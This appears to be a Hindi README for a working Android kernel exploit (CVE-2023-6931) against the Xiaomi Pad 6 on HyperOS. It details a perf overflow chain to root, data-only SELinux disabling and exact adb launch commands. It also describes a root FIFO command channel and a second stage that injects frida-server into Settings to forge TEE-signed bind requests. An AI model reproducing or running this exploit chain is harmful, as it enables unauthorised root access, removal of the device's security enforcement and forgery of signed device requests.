
Xiaomi Pad 6 (pipa) पर CVE-2023-6931 के लिए Kernel LPE exploit, जो perf read_size overflow को root तक chain करता है और data-only netlink_sock sk_destruct corruption के माध्यम से SELinux को disable करता है।
डिवाइस पर अंततः उपयोग किया गया exploit संस्करण, अलग से इस निर्देशिका में रखा गया है।
डिवाइस Xiaomi Pad 6 / pipa / SM8250
सिस्टम HyperOS OS2.0.20.0.UMZCNXM
कर्नेल 4.19.157-perf-g240e1d0a5f52
प्रारंभिक बिंदु adb shell (shell डोमेन)
परिणाम एक बार में uid0 + वैश्विक SELinux permissive (पुनः आरंभ पर समाप्त)
exploit.c फ़ाइल के शीर्षलेख में देखें, सारांश निम्नलिखित है।
1) perf group read_size overflow -> सीमा-उल्लंघन u64 स्व-वृद्धि आदिम
2) स्व-वृद्धि victim netlink_sock->sk_destruct -> netlink_sock_destruct_work (+0x28e8)
3) close(victim) -> sk_destruct(work) -> container_of(work, netlink_sock, 0x440)
-> fake = victim-0x440 -> sk_free(fake) -> __sk_destruct(&fake->sk_rcu)
-> fake->sk_destruct @ fake+704 = pivot(mov sp, x19)
4) स्टैक को fake के अंदर skb पेलोड में स्थानांतरित करें (pt_regs1 @ +960, pt_regs2 @ +1120)
5) restore_tramp -> eret EL1h -> commit_creds(&init_cred)
6) restore_no_kpti -> eret EL0 -> post_root
SELinux अक्षम करना शुद्ध डेटा पुनर्लेखन के माध्यम से होता है: fake+0x248 selinux_state की ओर इंगित करता है, __sk_destruct का atomic_dec उस शब्द के निम्नतम बिट खंड में enforcing को 1 से घटाकर 0 कर देता है।
./build.sh # आउटपुट इस निर्देशिका में exploit
CC=aarch64-linux-gnu-gcc ./build.sh /tmp/exploit
ड्राइवर स्क्रिप्ट .project/scripts/drive_selinux_off.sh द्वारा उपयोग की गई कमांड लाइन:
adb push exploit_selinux8 /data/local/tmp/exploit_selinux8
adb shell 'chmod 755 /data/local/tmp/exploit_selinux8'
adb shell 'cd /data/local/tmp && setsid nohup /data/local/tmp/exploit_selinux8 \
--selinux-off --layout-interleave --tsec-sid 1 --alarm-us 5000000 \
> /data/local/tmp/run.out 2>&1 < /dev/null &'
पैरामीटर अर्थ:
--selinux-off SELinux अक्षम करें (शुद्ध डेटा पुनर्लेखन पथ), साथ ही cred फ़ोर्जिंग
--layout-interleave आवंटन अनुक्रम को इंटरलीव करें, ताकि OOB स्व-वृद्धि लक्ष्य ऑब्जेक्ट के sk_destruct पर पड़े
--tsec-sid 1 फ़ोर्ज्ड cred का सुरक्षा संदर्भ sid/osid (वास्तविक डोमेन sid प्राप्त न होने पर 1 का उपयोग करें)
--alarm-us 5000000 स्व-जागृति ITIMER_REAL, अटकी हुई कोशिश 5 सेकंड बाद बाहर निकल जाती है
चलाने की पूर्व शर्तें और सीमाएँ:
shell डोमेन perf_event और netlink_route तक पहुँच सकता है, ऐप डोमेन नहीं, इसलिए adb shell से शुरू करना अनिवार्य है;perf_event_mlock_kb = 516 भर जाता है, एक ही boot में दोबारा न चलाएँ, पिछला इंस्टेंस बाहर निकले बिना इवेंट जारी नहीं होंगे, दोबारा चलाने पर केवल 4000 से 6000 तक बनेंगे;kill -9 से पुराने इंस्टेंस साफ़ करें और फिर से प्रयास करें, अन्यथा प्रति बूट एक प्रभावी प्रयास मानें;pause() पर रुक जाती है, root और permissive केवल इस बार के बूट के लिए प्रभावी हैं।--edl, --edl2), जो root विंडो से निश्चित रूप से EDL में प्रवेश करने के लिए उपयोग होते हैं, इस निर्देशिका में केवल अंतिम उपयोग किया गया संस्करण शामिल है।इस निर्देशिका में केवल पहला चरण है। पूरी श्रृंखला वास्तव में दो खंडों की है, जोड़ बिंदु पहले चरण द्वारा छोड़ा गया root कमांड चैनल है।
पहला चरण exploit_selinux8 कर्नेल विशेषाधिकार वृद्धि + SELinux अक्षम, फिर root कमांड चैनल पर रुकें
उत्पाद: uid0 + permissive, चैनल = FIFO /data/local/tmp/root_in|root_out
(अतिरिक्त अमूर्त unix socket rootshell / rootshell2, और --root-client PORT मोड)
दूसरा चरण stage2-frida/ उपरोक्त चैनल के माध्यम से root के रूप में frida-server शुरू करें, Settings में इंजेक्ट करें
उत्पाद: ऐप प्रक्रिया के अंदर निर्मित और भेजा गया बाइंडिंग अनुरोध (TEE हस्ताक्षर)
पहले चरण के अंत में ROOTSHELL_OK को /data/local/tmp/root_proof.txt में लिखा जाता है, जो निष्पादन योग्य कमांड का प्रमाण है। इसके बाद होस्ट मशीन की कोई भी root क्रिया FIFO में एक पंक्ति कमांड लिखना है, उदाहरण के लिए दूसरे चरण में frida-server शुरू करने वाली पंक्ति:
adb shell "echo 'killall -9 frida-server 2>/dev/null; rm -f /data/local/tmp/frida.log; \
setsid runcon u:r:shell:s0 /data/local/tmp/frida-server16 -D \
</dev/null >/data/local/tmp/frida.log 2>&1 & echo FRIDA_STARTED' > /data/local/tmp/root_in"
runcon u:r:shell:s0 छोड़ा नहीं जा सकता: SELinux बंद होने के बाद यदि frida-server kernel डोमेन में चलता है, तो Android Context प्राप्त नहीं होगा, PackageManager NPE देगा।
बाहरी निर्भरताएँ (इस निर्देशिका के साथ शामिल नहीं): frida-server 16.7.19 (54 MB, .project/tools/ext/frida/fs16 में रखा गया, sha256 प्रीफ़िक्स 4eebf1fbc66ff54aba9a9124) और संबंधित python क्लाइंट (.project/tools/ext/fridavenv16, frida 16.7.19)। 17.x के बजाय 16.x का उपयोग इसलिए किया गया क्योंकि 17 के agent में Java bridge नहीं है।
पूरी कॉल श्रृंखला .project/scripts/drive_selinux_off.sh द्वारा संचालित होती है: root विंडो मिलने पर पहली क्रिया bash .project/scripts/exp_forge_send.sh है, code 0 मिलने पर लूप रुक जाता है।
exploit_selinux8 वितरित मूल फ़ाइल है, चेकसम के लिए SHA256SUMS देखें। इस निर्देशिका के स्रोत से पुनर्निर्माण करने पर एक अलग बाइनरी प्राप्त होती है:
इस निर्देशिका के स्रोत से पुनर्निर्माण 1,853,744 B f8bb900bf4e197190d56bfc1437bcc9a025e49640a7fa2a78ff0f7fb0a6e7939
मूल स्रोत से पुनर्निर्माण 1,853,752 B 96c7c3637682a2d5869ab4b6a732688a252f17f5e604b1695bc8fcc022113b3f
वास्तव में चलने वाला संस्करण 1,853,720 B 279837d2ee028fbbb520120180156446ad8dc3286b723e28de300b544be2a21a
अंतर को प्रतीक-दर-प्रतीक स्थित किया गया है, स्रोत केवल एक है: कमांड लाइन पैरामीटर तालिका में दो अतिरिक्त मोड।
--edl फ़्रेम 2 में __qcom_scm_set_dload_mode(dev, 1) कॉल करें
--edl2 फ़्रेम 2 में सीधे dload cookie लिखें
अर्थात, वितरित संस्करण EDL मोड जोड़ने से पहले संकलित किया गया था, वर्तमान स्रोत जोड़ने के बाद का है (.project/work/exploit_edl1, exploit_edl2 इससे संकलित हैं)। EDL शाखा केवल --edl या --edl2 पास करने पर सक्रिय होती है, edl_mode डिफ़ॉल्ट 0 है, payload निर्माण में एकमात्र संबंधित पंक्ति edl_mode ? 1ULL : rt(OFF_INIT_CRED) है, इसलिए अंतिम --selinux-off कमांड लाइन का उपयोग करते समय दोनों का व्यवहार समान है। अंतर एक सुविधा वृद्धि है, न कि कोई सुधार या व्यवहार परिवर्तन, बाइनरी मूल फ़ाइल के रूप में संलग्न है, स्रोत पूर्ण संस्करण संरक्षित है।
.project/tools/strip_dev_comments.py से संसाधित, 124 विकास प्रक्रिया टिप्पणी ब्लॉक हटाए गए (संस्करण पुनरावृत्ति चिह्न जैसे v96, v127, और चीनी डिबगिंग शैली जैसे "पुराना मान/वास्तविक माप/पुनः चलाएँ/छोड़ें"), 313 संरचनात्मक टिप्पणियाँ संरक्षित। प्रीप्रोसेसिंग परिणाम की तुलना में केवल रिक्त पंक्तियों का अंतर है, कोड टोकन पूर्णतः समान हैं। रन लॉग में अभी भी vNNN: प्रीफ़िक्स वाले प्रिंट टेक्स्ट हैं, क्योंकि वे प्रोग्राम आउटपुट हैं न कि टिप्पणियाँ।
idk fr what files are really needed, if you want to you might very need a LLM to understand the whole exp and write yours.
| फ़ाइल | विवरण |
|---|
exploit.c | स्रोत कोड। विकास प्रक्रिया की टिप्पणियाँ हटा दी गई हैं, फ़ाइल शीर्षलेख श्रृंखला विवरण, ऑफ़सेट तालिका, संरचना लेआउट आदि संरचनात्मक टिप्पणियाँ संरक्षित हैं |
text_syms.h | डिवाइस kallsyms डंप से उत्पन्न .text प्रतीक तालिका, संकलन के लिए आवश्यक |
ro_syms.h | उपरोक्त के समान, केवल-पठन डेटा प्रतीक तालिका, संकलन के लिए आवश्यक |
exploit_selinux8 | वास्तव में डिवाइस पर चलने वाला बाइनरी, ड्राइवर स्क्रिप्ट द्वारा उपयोग किए गए संस्करण के समान |
build.sh | निर्माण स्क्रिप्ट |
SHA256SUMS | उपरोक्त फ़ाइलों के चेकसम |
| फ़ाइल | विवरण |
|---|
exp_forge_send.sh | frida-server 16.7.19 को पुश और शुरू करें, Settings चल रहा है यह सुनिश्चित करें, pid प्राप्त करें, agent चलाएँ |
frida_run.py | frida क्लाइंट रैपर, FRIDA_PID सीधे कनेक्शन और FRIDA_SPAWN स्व-प्रारंभ (am/pm को बायपास) का समर्थन करता है |
forge_send.js | Settings प्रक्रिया के अंदर getNonce की प्रतिलिपि बनाएँ, पुराने फ़ील्ड सेट के अनुसार applyBind पर हस्ताक्षर करें और भेजें |
| तुलना मद | परिणाम |
|---|
| भिन्न फ़ंक्शन आकार वाले प्रतीक | केवल main (shipped 17,744 B, पुनर्निर्माण 18,004 B, अंतर 260 B ≈ 65 निर्देश) |
| शेष 1,503 फ़ंक्शन | आकार पूर्णतः समान, कोई वृद्धि/कमी नहीं |
| केवल पुनर्निर्माण में दिखने वाले प्रतीक | edl_mode एक |
| कमांड लाइन पैरामीटर तालिका | shipped 85, पुनर्निर्माण 87, अतिरिक्त वाले ठीक --edl और --edl2 हैं |
पूरे .text निर्देश संख्या | 126,533 और 126,597, अंतर 64, जो main के अंतर से मेल खाता है |